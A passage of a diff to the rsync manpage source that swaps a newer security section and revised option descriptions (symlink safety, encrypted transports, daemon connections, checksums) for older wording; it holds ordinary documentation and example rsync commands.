rapidly.\n-\n-## SECURITY\n-\n-Rsync is frequently run across a network and with elevated privileges, so it is\n-worth thinking about who you are trusting and with what.  This section is a\n-practical guide for safe use; the project's `SECURITY.md` describes the full\n-threat model and the per-platform residuals.\n-\n-### Use an authenticated, encrypted transport\n-\n-A plain `host:path` transfer runs over your remote shell (ssh by default), which\n-authenticates the peer and encrypts the connection -- this is the safe default.\n-A direct daemon connection (`host::module` or `rsync://`) is **not encrypted**\n-and its authentication is comparatively weak, so do not send sensitive data\n-across an untrusted network.\n-Instead tunnel it over ssh\n-(see [USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL CONNECTION](#)) or wrap it in\n-TLS with [**rsync-ssl**(1)](rsync-ssl.1), setting `RSYNC_SSL_CA_CERT` so that the\n-server certificate's chain **and** hostname are verified.  When you must supply a\n-daemon password non-interactively, put it in a [`--password-file`](#opt) that is\n-readable only by you (mode 600) rather than on the command line.\n-\n-### Copying from an untrusted sending host\n-\n-When receiving from a remote host, rsync takes steps to ensure that a\n-corrupted or compromised remote rsync process can't cause the local\n-rsync process to access files beyond the bounds of what was requested.\n-Rsync ensures that the list of files being\n-transferred stays within the requested tree, and will abort when a\n-file list contains an absolute or relative path that tries to escape\n-the top of the transfer.  It also verifies that no extra source arguments\n-were added to the transfer and that the file list obeys the exclude rules\n-that were sent to the sender.\n-\n-For those who want to be extra careful,\n-it is safest to copy untrusted remote files into a dedicated\n-destination directory.  For example, instead of copying into your home\n-directory:\n+directories, makes it easy to remove duplicate filenames. It can, however,\n+confuse someone when the files are transferred in a different order than what\n+was given on the command-line.\n+\n+If you need a particular file to be transferred prior to another, either\n+separate the files into different rsync calls, or consider using\n+[`--delay-updates`](#opt) (which doesn't affect the sorted transfer order, but\n+does make the final file-updating phase happen much more rapidly).\n+\n+## MULTI-HOST SECURITY\n+\n+Rsync takes steps to ensure that the file requests that are shared in a\n+transfer are protected against various security issues.  Most of the potential\n+problems arise on the receiving side where rsync takes steps to ensure that the\n+list of files being transferred remains within the bounds of what was\n+requested.\n+\n+Toward this end, rsync 3.1.2 and later have aborted when a file list contains\n+an absolute or relative path that tries to escape out of the top of the\n+transfer.  Also, beginning with version 3.2.5, rsync does two more safety\n+checks of the file list to (1) ensure that no extra source arguments were added\n+into the transfer other than those that the client requested and (2) ensure\n+that the file list obeys the exclude rules that were sent to the sender.\n+\n+For those that don't yet have a 3.2.5 client rsync (or those that want to be\n+extra careful), it is safest to do a copy into a dedicated destination\n+directory for the remote files when you don't trust the remote host.  For\n+example, instead of doing an rsync copy into your home directory:\n \n >     rsync -aiv host1:dir1 ~\n \n-dedicate a \"host1-files\" directory to the remote content:\n+Dedicate a \"host1-files\" dir to the remote content:\n \n >     rsync -aiv host1:dir1 ~/host1-files\n \n See the [`--trust-sender`](#opt) option for additional details.\n \n-### Copying between case-preserving and case-insensitive filesystems\n-\n-Copying from case-preserving to case-insensitive filesystems requires\n-caution, because it is possible for the name of a symbolic link to\n-overlap with the name of a file or directory once the case\n-distinctions are removed, which can cause potentially dangerous\n-results such as files being written outside the destination directory\n-hierarchy.\n-If you must perform\n-such a copy, either disable symlinks via `--no-links` or enable the munging of\n-symlinks via [`--munge-links`](#opt) (and make sure you use the right local or\n-remote option).\n-This does not, however, ensure\n-that you get a full copy of all the files (since that may not be possible when\n-the names overlap); a potentially better solution is to build a safe list of\n-filenames and pass it to [`--files-from`](#opt).\n-\n-### Symbolic links\n-\n-A malicious sender can include symlinks that point outside the destination tree\n-(for example at `/etc/passwd`).  Use [`--safe-links`](#opt) to ignore any symlink\n-that points outside the set of files\n-being transferred, or [`--munge-links`](#opt) to store every symlink in a\n-form that is unusable on disk but recoverable later; `--no-links` drops symlinks\n-entirely.  See the [SYMBOLIC LINKS](#) section for how these interact.\n-\n-Separately, the directory and file paths that *you* supply on the command line --\n-[`--backup-dir`](#opt), [`--temp-dir`](#opt), [`--partial-dir`](#opt), the\n-[`--link-dest`](#opt)/[`--compare-dest`](#opt)/[`--copy-dest`](#opt) basis directories,\n-[`--log-file`](#opt), [`--password-file`](#opt),\n-[`--files-from`](#opt)/`--include-from`/`--exclude-from`,\n-[`--filter`](#opt) merge files, [`--write-batch`](#opt)/[`--read-batch`](#opt),\n-and the destination itself -- are resolved so that a symlink component is followed\n-only when it is owned by you or by root; an attacker-planted symlink along one of\n-those paths is refused.  [`--insecure-links`](#opt) turns that protection off\n-(restoring the historical follow-any-symlink behaviour); use it only when every\n-directory along those paths is trusted, never on a path an unprivileged user can\n-write.\n-\n-### Use strong checksums\n-\n-Rsync auto-negotiates the strongest checksum that both ends support, so keeping\n-both local and remote rsync versions reasonably current is usually all\n-that is needed.  You can\n-pin the choice with [`--checksum-choice`](#opt) (`--cc`, e.g. `--cc=sha1` or one\n-of the xxHash variants) or constrain negotiation with the\n-[`RSYNC_CHECKSUM_LIST`](#) environment variable; only very old peers fall back to\n-MD4/MD5.  This pre-transfer \"does this file need updating?\" checksum is separate\n-from the whole-file checksum rsync normally computes to verify each transferred\n-file afterward (verification is off when `--checksum-choice=none` is forced).\n-\n-### Protocol version\n-\n-The client and server automatically negotiate the newest protocol they both\n-support, so a current pair is already using the most recent version;\n-[`--protocol`](#opt) only *forces an older* version for compatibility and should\n-not be used to downgrade a connection.  Avoiding old protocols is therefore a\n-matter of running a current rsync on both ends (a protocol below 30 also forces\n-the weak MD4 authentication digest on a daemon connection -- see the AUTHENTICATION\n-STRENGTH section of [**rsyncd.conf**(5)](rsyncd.conf.5)).\n+CAUTION: it is not particularly safe to use rsync to copy files from a\n+case-preserving filesystem to a case-ignoring filesystem.  If you must perform\n+such a copy, you should either disable symlinks via `--no-links` or enable the\n+munging of symlinks via [`--munge-links`](#opt) (and make sure you use the\n+right local or remote option).  This will prevent rsync from doing potentially\n+dangerous things if a symlink name overlaps with a file or directory. It does\n+not, however, ensure that you get a full copy of all the files (since that may\n+not be possible when the names overlap). A potentially better solution is to\n+list all the source files and create a safe list of filenames that you pass to\n+the [`--files-from`](#opt) option.  Any files that conflict in name would need\n+to be copied to different destination directories using more than one copy.\n+\n+While a copy of a case-ignoring filesystem to a case-ignoring filesystem can\n+work out fairly well, if no `--delete-during` or `--delete-before` option is\n+active, rsync can potentially update an existing file on the receiving side\n+without noticing that the upper-/lower-case of the filename should be changed\n+to match the sender.\n \n ## ADVANCED USAGE\n \n The syntax for requesting multiple files from a remote host is done by\n-specifying additional remote-host arguments in the same style as the first, or with\n+specifying additional remote-host args in the same style as the first, or with\n the hostname omitted.  For instance, all these work:\n \n >     rsync -aiv host:file1 :file2 host:file{3,4} /dest/\n@@ -347,21 +264,20 @@ command, so if the start of a follow-up path doesn't begin with the\n modname of the first path, it is assumed to be a path in the module (such as\n the extra-file1 & extra-file2 that are grabbed above).\n \n-Because really old versions of rsync (prior to 3.0.0, released\n-March 2008) only allowed specifying one\n-remote-source argument, some people have come to rely on the remote shell\n-performing space splitting to break a single argument into multiple paths. Such\n-unintuitive behavior is no longer supported by default, though you can request\n-it, as described in the next paragraph.\n-Rsync now (since 3.2.4) passes filenames to a remote\n-shell in such a way as to\n+Really old versions of rsync (2.6.9 and before) only allowed specifying one\n+remote-source arg, so some people have instead relied on the remote-shell\n+performing space splitting to break up an arg into multiple paths. Such\n+unintuitive behavior is no longer supported by default (though you can request\n+it, as described below).\n+\n+Starting in 3.2.4, filenames are passed to a remote shell in such a way as to\n preserve the characters you give it. Thus, if you ask for a file with spaces\n in the name, that's what the remote rsync looks for:\n \n >     rsync -aiv host:'a simple file.pdf' /dest/\n \n If you use scripts that have been written to manually apply extra quoting to\n-the remote rsync arguments, or to rely on remote argument splitting, you can ask rsync\n+the remote rsync args (or to require remote arg splitting), you can ask rsync\n to let your script handle the extra escaping.  This is done by either adding\n the [`--old-args`](#opt) option to the rsync runs in the script (which requires\n a new rsync) or exporting [RSYNC_OLD_ARGS](#)=1 and [RSYNC_PROTECT_ARGS](#)=0\n@@ -369,36 +285,28 @@ a new rsync) or exporting [RSYNC_OLD_ARGS](#)=1 and [RSYNC_PROTECT_ARGS](#)=0\n \n ## CONNECTING TO AN RSYNC DAEMON\n \n-An rsync daemon provides a way to give access to one or more directory\n-hierarchies on a system in a controlled way, without having to provide\n-shell access to the system.  Each directory hierarchy is called a\n-\"module\".  The names, directories, access permissions and so on for\n-each module are defined by the rsync daemon configuration file,\n-described in [**rsyncd.conf**(5)](rsyncd.conf.5).\n-Connections to an rsync daemon typically use TCP port 873.  The\n-administrator of the system would normally arrange for the rsync\n-daemon to be running;\n-refer to the [STARTING AN RSYNC DAEMON TO ACCEPT CONNECTIONS](#)\n-section below for information on how to do that.\n-\n-From the client point of view, using rsync to access an rsync daemon\n-is similar to using it with a remote shell except that:\n+It is also possible to use rsync without a remote shell as the transport.  In\n+this case you will directly connect to a remote rsync daemon, typically using\n+TCP port 873. (This obviously requires the daemon to be running on the remote\n+system, so refer to the [STARTING AN RSYNC DAEMON TO ACCEPT CONNECTIONS](#)\n+section below for information on that.)\n+\n+Using rsync in this way is the same as using it with a remote shell except\n+that:\n \n - Use either double-colon syntax or rsync:// URL syntax instead of the\n   single-colon (remote shell) syntax.\n - The first element of the \"path\" is actually a module name.\n-- Additional remote source arguments can use an abbreviated syntax that omits the\n+- Additional remote source args can use an abbreviated syntax that omits the\n   hostname and/or the module name, as discussed in [ADVANCED USAGE](#).\n - The remote daemon may print a \"message of the day\" when you connect.\n - If you specify only the host (with no module or path) then a list of\n   accessible modules on the daemon is output.\n - If you specify a remote source path but no destination, a listing of the\n   matching files on the remote daemon is output.\n-- To contact an rsync daemon directly, the [`--rsh`](#opt) (`-e`)\n-  option must be omitted.  If it is used, rsync will use the specified\n-  remote shell program to start an rsync daemon on the remote system.\n-  See the [USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL\n-  CONNECTION](#) section for information on this mode of operation.\n+- The [`--rsh`](#opt) (`-e`) option must be omitted to avoid changing the\n+  connection style from using a socket connection to [USING RSYNC-DAEMON\n+  FEATURES VIA A REMOTE-SHELL CONNECTION](#).\n \n An example that copies all the files in a remote module named \"src\":\n \n@@ -410,23 +318,9 @@ by setting the environment variable [`RSYNC_PASSWORD`](#) to the password you\n want to use or using the [`--password-file`](#opt) option.  This may be useful\n when scripting rsync.\n \n-WARNING: On some systems, environment variables are visible to all users.  On\n+WARNING: On some systems environment variables are visible to all users.  On\n those systems using [`--password-file`](#opt) is recommended.\n \n-If rsync was built with IDN support (look for \"IDN\" in `rsync --version`), the\n-daemon host may contain non-ASCII characters: those labels are converted to\n-their IDNA A-label (\"Punycode\") form before the name is looked up.  The name is\n-read using your locale's character encoding, so be sure your locale is set\n-correctly.  A name typed with combining characters is normalized on the way, so\n-it is looked up the same as its precomposed spelling.  Only the non-ASCII\n-labels change, so an address literal, a name you punycoded yourself, and a name\n-that is not a valid IDN are all looked up just as you typed them.\n-\n-This applies to the host of a daemon connection only.  The host of a plain\n-remote-shell transfer (the single-colon syntax) is passed to your remote-shell\n-program unchanged, since that name may well be an ssh_config \"Host\" alias\n-rather than a DNS name.\n-\n You may establish the connection via a web proxy by setting the environment\n variable [`RSYNC_PROXY`](#) to a hostname:port pair pointing to your web proxy.\n Note that your web proxy's configuration must support proxy connections to port\n@@ -453,45 +347,34 @@ the default shell of the **system()** call.\n \n It is sometimes useful to use various features of an rsync daemon (such as\n named modules) without actually allowing any new socket connections into a\n-system, other than what is already required to allow remote-shell access.\n+system (other than what is already required to allow remote-shell access).\n Rsync supports connecting to a host using a remote shell and then spawning a\n-single-use \"daemon\" server that expects to read its config file in the home directory\n+single-use \"daemon\" server that expects to read its config file in the home dir\n of the remote user.  This can be useful if you want to encrypt a daemon-style\n-transfer's data.  However, since the daemon is started by the remote user,\n-you may not be able to use features which require root privilege, such\n-as chroot or setting the user ID used by the daemon.\n-(For another way to encrypt a daemon transfer, consider using ssh\n-to tunnel a local port to a remote machine, and configure a normal rsync daemon\n-on that remote host to allow connections only from \"localhost\".)\n+transfer's data, but since the daemon is started up fresh by the remote user,\n+you may not be able to use features such as chroot or change the uid used by\n+the daemon. (For another way to encrypt a daemon transfer, consider using ssh\n+to tunnel a local port to a remote machine and configure a normal rsync daemon\n+on that remote host to only allow connections from \"localhost\".)\n \n From the user's perspective, a daemon transfer via a remote-shell connection\n uses nearly the same command-line syntax as a normal rsync-daemon transfer,\n-with the only difference being that you must explicitly set the remote shell\n+with the only exception being that you must explicitly set the remote shell\n program on the command-line with the [`--rsh=COMMAND`](#opt) option. (Setting the\n RSYNC_RSH in the environment will not turn on this functionality.) For example:\n \n >     rsync -av --rsh=ssh host::module /dest\n \n-A \"user@\" prefix in front of the host serves two purposes at once in this mode:\n-it is the rsync-user value (used to log in to a module that requires user-based\n-authentication) and, by default, it is also passed to the remote shell as the\n-login user.  So the simple form\n-\n->     rsync -av --rsh=ssh user@host::module /dest\n-\n-runs `ssh -l user host` and offers \"user\" as the rsync-user to the module; the\n-two are forced to be the same name.\n-\n-If you need the remote-shell (ssh) login to use a different name than the\n-rsync-user, give an explicit '-l' option to ssh in the remote-shell command.\n-When ssh is already told which user to log in as, rsync does not add its own\n-'-l', so the \"user@\" prefix is then used only as the rsync-user.  For example,\n-using the short version of the [`--rsh`](#opt) option:\n+If you need to specify a different remote-shell user, keep in mind that the\n+user@ prefix in front of the host is specifying the rsync-user value (for a\n+module that requires user-based authentication).  This means that you must give\n+the '-l user' option to ssh when specifying the remote-shell, as in this\n+example that uses the short version of the [`--rsh`](#opt) option:\n \n >     rsync -av -e \"ssh -l ssh-user\" rsync-user@host::module /dest\n \n-Here \"ssh-user\" is used at the ssh level while \"rsync-user\" is used to log in to\n-the \"module\".\n+The \"ssh-user\" will be used at the ssh level; the \"rsync-user\" will be used to\n+log-in to the \"module\".\n \n In this setup, the daemon is started by the ssh command that is accessing the\n system (which can be forced via the `~/.ssh/authorized_keys` file, if desired).\n@@ -503,9 +386,9 @@ In order to connect to an rsync daemon, the remote system needs to have a\n daemon already running (or it needs to have configured something like inetd to\n spawn an rsync daemon for incoming connections on a particular port).  For full\n information on how to start a daemon that will handling incoming socket\n-connections, see the manpage for [**rsyncd.conf**(5)](rsyncd.conf.5),\n-the config file for the daemon.  The manpage contains the full details for how to run\n-the daemon, including stand-alone and inetd configurations.\n+connections, see the [**rsyncd.conf**(5)](rsyncd.conf.5) manpage -- that is\n+the config file for the daemon, and it contains the full details for how to run\n+the daemon (including stand-alone and inetd configurations).\n \n If you're using one of the remote-shell transports for the transfer, there is\n no need to manually start an rsync daemon.\n@@ -542,11 +425,8 @@ has its own detailed description later in this manpage.\n --archive, -a            archive mode is -rlptgoD (no -A,-X,-U,-N,-H)\n --no-OPTION              turn off an implied OPTION (e.g. --no-D)\n --recursive, -r          recurse into directories\n---inc-recursive, --i-r   enable incremental recursion\n---no-inc-recursive       disable incremental recursion\n---no-i-r                 same as --no-inc-recursive\n --relative, -R           use relative path names\n---no-implied-dirs        don't send implied directories with --relative\n+--no-implied-dirs        don't send implied dirs with --relative\n --backup, -b             make backups (see --suffix & --backup-dir)\n --backup-dir=DIR         make backups into hierarchy based in DIR\n --suffix=SUFFIX          backup suffix (default ~ w/o --backup-dir)\n@@ -555,18 +435,15 @@ has its own detailed description later in this manpage.\n --append                 append data onto shorter files\n --append-verify          --append w/old data in file checksum\n --dirs, -d               transfer directories without recursing\n---old-dirs               works like --dirs when talking to old rsync\n---old-d                  same as --old-dirs\n+--old-dirs, --old-d      works like --dirs when talking to old rsync\n --mkpath                 create destination's missing path components\n --links, -l              copy symlinks as symlinks\n---copy-links, -L         transform symlink into referent file/directory\n+--copy-links, -L         transform symlink into referent file/dir\n --copy-unsafe-links      only \"unsafe\" symlinks are transformed\n --safe-links             ignore symlinks that point outside the tree\n---insecure-links         follow attacker-owned symlinks in operator paths\n---confine-root=DIR       refuse operator paths resolving outside DIR\n --munge-links            munge symlinks to make them safe & unusable\n---copy-dirlinks, -k      transform symlink to directory into referent directory\n---keep-dirlinks, -K      treat symlinked directory on receiver as directory\n+--copy-dirlinks, -k      transform symlink to dir into referent dir\n+--keep-dirlinks, -K      treat symlinked dir on receiver as dir\n --hard-links, -H         preserve hard links\n --perms, -p              preserve permissions\n --executability, -E      preserve executability\n@@ -579,7 +456,6 @@ has its own detailed description later in this manpage.\n --copy-devices           copy device contents as a regular file\n --write-devices          write to devices as files (implies --inplace)\n --specials               preserve special files\n---drop-D                 receiver refuses to create devices/specials\n -D                       same as --devices --specials\n --times, -t              preserve modification times\n --atimes, -U             preserve access (use) times\n@@ -593,27 +469,25 @@ has its own detailed description later in this manpage.\n --preallocate            allocate dest files before writing them\n --dry-run, -n            perform a trial run with no changes made\n --whole-file, -W         copy files whole (w/o delta-xfer algorithm)\n---no-whole-file, --no-W  use the delta-xfer algorithm\n --checksum-choice=STR    choose the checksum algorithm (aka --cc)\n --one-file-system, -x    don't cross filesystem boundaries\n --block-size=SIZE, -B    force a fixed checksum block-size\n --rsh=COMMAND, -e        specify the remote shell to use\n --rsync-path=PROGRAM     specify the rsync to run on remote machine\n --existing               skip creating new files on receiver\n---ignore-non-existing    skip creating new files on receiver\n --ignore-existing        skip updating files that exist on receiver\n---remove-source-files    sender removes synchronized files (non-directory)\n+--remove-source-files    sender removes synchronized files (non-dir)\n --del                    an alias for --delete-during\n---delete                 delete extraneous files from dest directories\n+--delete                 delete extraneous files from dest dirs\n --delete-before          receiver deletes before xfer, not during\n --delete-during          receiver deletes during the transfer\n --delete-delay           find deletions during, delete after\n --delete-after           receiver deletes after transfer, not during\n---delete-excluded        also delete excluded files from dest directories\n---ignore-missing-args    ignore missing source arguments without error\n---delete-missing-args    delete missing source arguments from destination\n+--delete-excluded        also delete excluded files from dest dirs\n+--ignore-missing-args    ignore missing source args without error\n+--delete-missing-args    delete missing source args from destination\n --ignore-errors          delete even if there are I/O errors\n---force                  force deletion of directories even if not empty\n+--force                  force deletion of dirs even if not empty\n --max-delete=NUM         don't delete more than NUM files\n --max-size=SIZE          don't transfer any file larger than SIZE\n --min-size=SIZE          don't transfer any file smaller than SIZE\n@@ -621,7 +495,6 @@ has its own detailed description later in this manpage.\n --partial                keep partially transferred files\n --partial-dir=DIR        put a partially transferred file into DIR\n --delay-updates          put all updated files into place at end\n---delay-symlinks         create symlinks after all files are in place\n --prune-empty-dirs, -m   prune empty directory chains from file-list\n --numeric-ids            don't map uid/gid values by user/group name\n --usermap=STRING         custom username mapping\n@@ -640,7 +513,6 @@ has its own detailed description later in this manpage.\n --compress, -z           compress file data during the transfer\n --compress-choice=STR    choose the compression algorithm (aka --zc)\n --compress-level=NUM     explicitly set compression level (aka --zl)\n---compress-threads=NUM   explicitly set compression threads (aka --zt)\n --skip-compress=LIST     skip compressing files with suffix in LIST\n --cvs-exclude, -C        auto-ignore files in the same way CVS does\n --filter=RULE, -f        add a file-filtering RULE\n@@ -652,8 +524,8 @@ has its own detailed description later in this manpage.\n --include-from=FILE      read include patterns from FILE\n --files-from=FILE        read list of source-file names from FILE\n --from0, -0              all *-from/filter files are delimited by 0s\n---old-args               disable the modern argument-protection idiom\n---secluded-args, -s      use the protocol to safely send the arguments\n+--old-args               disable the modern arg-protection idiom\n+--secluded-args, -s      use the protocol to safely send the args\n --trust-sender           trust the remote sender's file list\n --copy-as=USER[:GROUP]   specify user & optional group for the copy\n --address=ADDRESS        bind address for outgoing socket to daemon\n@@ -686,8 +558,6 @@ has its own detailed description later in this manpage.\n --checksum-seed=NUM      set block/file checksum seed (advanced)\n --ipv4, -4               prefer IPv4\n --ipv6, -6               prefer IPv6\n---nice=SETTINGS          adjust rsync CPU and I/O priorities\n---no-nice                clear earlier --nice settings\n --version, -V            print the version + other info and exit\n --help, -h (*)           show this help (* -h is help only on its own)\n ```\n@@ -708,8 +578,6 @@ accepted:\n --log-file=FILE          override the \"log file\" setting\n --log-file-format=FMT    override the \"log format\" setting\n --sockopts=OPTIONS       specify custom TCP options\n---nice=SETTINGS          adjust daemon process CPU and I/O priorities\n---no-nice                clear earlier --nice settings\n --verbose, -v            increase verbosity\n --ipv4, -4               prefer IPv4\n --ipv6, -6               prefer IPv6\n@@ -732,8 +600,8 @@ option has a short variant).\n The parameter may need to be quoted in some manner for it to survive the\n shell's command-line parsing.  Also keep in mind that a leading tilde (`~`) in\n a pathname is substituted by your shell, so make sure that you separate the\n-option name from the pathname using a space (rather than an equal\n-sign) if you want the local shell to expand it.\n+option name from the pathname using a space if you want the local shell to\n+expand it.\n \n [comment]: # (Some markup below uses a literal non-breakable space when a backtick string)\n [comment]: # (needs to contain a space since markdown strips spaces from the start/end)\n@@ -744,12 +612,12 @@ sign) if you want the local shell to expand it.\n \n     Print a short help page describing the options available in rsync and exit.\n     You can also use `-h` for `--help` when it is used without any other\n-    options or arguments (since otherwise it means [`--human-readable`](#opt)).\n+    options (since it normally means [`--human-readable`](#opt)).\n \n 0.  `--version`, `-V`\n \n     Print the rsync version plus other info and exit.  When repeated, the\n-    information is output in a JSON format that is still fairly readable\n+    information is output is a JSON format that is still fairly readable\n     (client side only).\n \n     The output includes a list of compiled-in capabilities, a list of\n@@ -778,16 +646,15 @@ sign) if you want the local shell to expand it.\n     human-readable by using the [`--human-readable`](#opt) (or\n     `--no-human-readable`) options.\n \n-    The `-v` option is equivalent to the setting of groups\n+    In a modern rsync, the `-v` option is equivalent to the setting of groups\n     of [`--info`](#opt) and [`--debug`](#opt) options.  You can choose to use\n     these newer options in addition to, or in place of using `--verbose`, as\n     any fine-grained settings override the implied settings of `-v`.  Both\n-    [`--info`](#opt) and [`--debug`](#opt) have help texts available that\n-    tells you exactly what flags are set for each increase in verbosity\n-    (use `--info=help` or `--debug=help` to see them).\n+    [`--info`](#opt) and [`--debug`](#opt) have a way to ask for help that\n+    tells you exactly what flags are set for each increase in verbosity.\n \n     However, do keep in mind that a daemon's \"`max verbosity`\" setting will limit\n-    how high the various individual flags can be set on the daemon\n+    how high of a level the various individual flags can be set on the daemon\n     side.  For instance, if the max is 2, then any info and/or debug flag that\n     is set to a higher value than what would be set by `-vv` will be downgraded\n     to the `-vv` level in the daemon's logging.\n@@ -809,9 +676,9 @@ sign) if you want the local shell to expand it.\n     and [`--itemize-changes`](#opt) (`-i`) options.  See those options for more\n     information on what is output and when.\n \n-    This option was added to 3.1.0 (released September 2013),\n-    so an older rsync on the server side might\n-    reject your attempts at fine-grained control.\n+    This option was added to 3.1.0, so an older rsync on the server side might\n+    reject your attempts at fine-grained control (if one or more flags needed\n+    to be send to the server and the server was too old to understand them).\n     See also the \"`max verbosity`\" caveat above when dealing with a daemon.\n \n 0.  `--debug=FLAGS`\n@@ -830,9 +697,9 @@ sign) if you want the local shell to expand it.\n     Note that some debug messages will only be output when the [`--stderr=all`](#opt)\n     option is specified, especially those pertaining to I/O and buffer debugging.\n \n-    This option is not forwarded by the client to the server side, so that\n-    you can specify different debug values for each side of the transfer.\n-    This also allows you to specify debug options that are only\n+    Beginning in 3.2.0, this option is no longer auto-forwarded to the server\n+    side in order to allow you to specify different debug values for each side\n+    of the transfer, as well as to specify a new debug option that is only\n     present in one of the rsync versions.  If you want to duplicate the same\n     option on both sides, using brace expansion is an easy way to save you some\n     typing.  This works in zsh and bash:\n@@ -841,21 +708,20 @@ sign) if you want the local shell to expand it.\n \n 0.  `--stderr=errors|all|client`\n \n-    This option controls which processes output to stderr, and whether\n-    info messages are output to stderr rather than stdout.\n-    The mode strings can be abbreviated down as far as a single letter.\n-    The 3 possible choices are:\n+    This option controls which processes output to stderr and if info messages\n+    are also changed to stderr.  The mode strings can be abbreviated, so feel\n+    free to use a single letter value.  The 3 possible choices are:\n \n-    - `errors` - (the default) causes all the rsync processes to send\n-      errors directly to stderr, even if the process is on the remote side of\n+    - `errors` - (the default) causes all the rsync processes to send an\n+      error directly to stderr, even if the process is on the remote side of\n       the transfer.  Info messages are sent to the client side via the protocol\n       stream.  If stderr is not available (i.e. when directly connecting with a\n       daemon via a socket) errors fall back to being sent via the protocol\n       stream.\n \n-    - `all` - causes all rsync messages (info and error) to be written\n+    - `all` - causes all rsync messages (info and error) to get written\n       directly to stderr from all (possible) processes.  This causes stderr to\n-      become line-buffered (instead of unbuffered) and eliminates the ability to\n+      become line-buffered (instead of raw) and eliminates the ability to\n       divide up the info and error messages by file handle.  For those doing\n       debugging or using several levels of verbosity, this option can help to\n       avoid clogging up the transfer stream (which should prevent any chance of\n@@ -870,10 +736,11 @@ sign) if you want the local shell to expand it.\n       older rsync, you may want to use `--stderr=all` since that idiom has\n       been around for several releases.\n \n-    Rsync also accepts the old `--msgs2stderr` and `--no-msgs2stderr`\n-    options, equivalent to the `all` and `client` settings,\n-    respectively, and uses them when forwarding non-default settings\n-    to the remote side, in case the remote rsync is an older version.\n+    This option was added in rsync 3.2.3.  This version also began the\n+    forwarding of a non-default setting to the remote side, though rsync uses\n+    the backward-compatible options `--msgs2stderr` and `--no-msgs2stderr` to\n+    represent the `all` and `client` settings, respectively.  A newer rsync\n+    will continue to accept these older option names to maintain compatibility.\n \n 0.  `--quiet`, `-q`\n \n@@ -914,8 +781,7 @@ sign) if you want the local shell to expand it.\n     When comparing two timestamps, rsync treats the timestamps as being equal\n     if they differ by no more than the modify-window value.  The default is 0,\n     which matches just integer seconds.  If you specify a negative value (and\n-    the receiver is at least version 3.1.3, released January 2018)\n-    then nanoseconds will also be taken\n+    the receiver is at least version 3.1.3) then nanoseconds will also be taken\n     into account.  Specifying 1 is useful for copies to/from MS Windows FAT\n     filesystems, because FAT represents times with a 2-second resolution\n     (allowing times to differ from the original by up to 1 second).\n@@ -936,7 +802,7 @@ sign) if you want the local shell to expand it.\n     need of a transfer.  Without this option, rsync uses a \"quick check\" that\n     (by default) checks if each file's size and time of last modification match\n     between the sender and receiver.  This option changes this to compare a\n-    checksum for each file that has a matching size.  Generating the\n+    128-bit checksum for each file that has a matching size.  Generating the\n     checksums means that both sides will expend a lot of disk I/O reading all\n     the data in the files in the transfer, so this can slow things down\n     significantly (and this is prior to any reading that will be done to\n@@ -948,7 +814,7 @@ sign) if you want the local shell to expand it.\n     file that has the same size as the corresponding sender's file: files with\n     either a changed size or a changed checksum are selected for transfer.\n \n-    Note that rsync normally verifies that each _transferred_ file was correctly\n+    Note that rsync always verifies that each _transferred_ file was correctly\n     reconstructed on the receiving side by checking a whole-file checksum that\n     is generated as the file is transferred, but that automatic\n     after-the-transfer verification has nothing to do with this option's\n@@ -1001,10 +867,9 @@ sign) if you want the local shell to expand it.\n \n 0. `--inc-recursive`, `--i-r`\n \n-    This option explicitly enables incremental recursion when scanning for\n+    This option explicitly enables on incremental recursion when scanning for\n     files, which is enabled by default when using the [`--recursive`](#opt)\n-    option and both sides of the transfer are running rsync 3.0.0\n-    (released March 2008) or newer.\n+    option and both sides of the transfer are running rsync 3.0.0 or newer.\n \n     Incremental recursion uses much less memory than non-incremental, while\n     also beginning the transfer more quickly (since it doesn't need to scan the\n@@ -1017,14 +882,14 @@ sign) if you want the local shell to expand it.\n     - [`--delete-after`](#opt)\n     - [`--prune-empty-dirs`](#opt)\n     - [`--delay-updates`](#opt)\n-    - [`--delay-symlinks`](#opt)\n \n-    In order to be compatible with incremental recursion,\n-    [`--delete-during`](#opt) is the default delete mode for [`--delete`](#opt).\n+    In order to make [`--delete`](#opt) compatible with incremental recursion,\n+    rsync 3.0.0 made [`--delete-during`](#opt) the default delete mode (which\n+    was first added in 2.6.4).\n \n     One side-effect of incremental recursion is that any missing\n     sub-directories inside a recursively-scanned directory are (by default)\n-    created prior to recursing into the sub-directories.  This earlier creation point\n+    created prior to recursing into the sub-dirs.  This earlier creation point\n     (compared to a non-incremental recursion) allows rsync to then set the\n     modify time of the finished directory right away (without having to delay\n     that until a bunch of recursive copying has finished).  However, these\n@@ -1038,7 +903,7 @@ sign) if you want the local shell to expand it.\n \n 0. `--no-inc-recursive`, `--no-i-r`\n \n-    Disables the incremental recursion algorithm of the\n+    Disables the new incremental recursion algorithm of the\n     [`--recursive`](#opt) option.  This makes rsync scan the full file list\n     before it begins to transfer files.  See [`--inc-recursive`](#opt) for more\n     info.\n@@ -1048,7 +913,8 @@ sign) if you want the local shell to expand it.\n     Use relative paths.  This means that the full path names specified on the\n     command line are sent to the server rather than just the last parts of the\n     filenames.  This is particularly useful when you want to send several\n-    different directories at the same time.  For example, this command:\n+    different directories at the same time.  For example, if you used this\n+    command:\n \n     >     rsync -av /foo/bar/baz.c remote:/tmp/\n \n@@ -1062,31 +928,30 @@ sign) if you want the local shell to expand it.\n     \"implied directories\" (i.e. the \"foo\" and the \"foo/bar\" directories in the\n     above example).\n \n-    Rsync always sends these implied directories as\n+    Beginning with rsync 3.0.0, rsync always sends these implied directories as\n     real directories in the file list, even if a path element is really a\n     symlink on the sending side.  This prevents some really unexpected behaviors\n-    when copying the full path of a file that has a symlink\n+    when copying the full path of a file that you didn't realize had a symlink\n     in its path.  If you want to duplicate a server-side symlink, include both\n-    the symlink via its path, and the referent directory via its real path.  If\n+    the symlink via its path, and referent directory via its real path.  If\n     you're dealing with an older rsync on the sending side, you may need to use\n     the [`--no-implied-dirs`](#opt) option.\n \n     It is also possible to limit the amount of path information that is sent as\n     implied directories for each path you specify.  With a modern rsync on the\n-    sending side (beginning with 2.6.7, released March 2006),\n-    you can insert a dot and a slash into\n+    sending side (beginning with 2.6.7), you can insert a dot and a slash into\n     the source path, like this:\n \n     >     rsync -avR /foo/./bar/baz.c remote:/tmp/\n \n-    That would create /tmp/bar/baz.c on the receiving machine. (Note that the dot\n+    That would create /tmp/bar/baz.c on the remote machine. (Note that the dot\n     must be followed by a slash, so \"/foo/.\" would not be abbreviated.) For\n-    older rsync versions, you would need to change directory to limit the source\n+    older rsync versions, you would need to use a chdir to limit the source\n     path.  For example, when 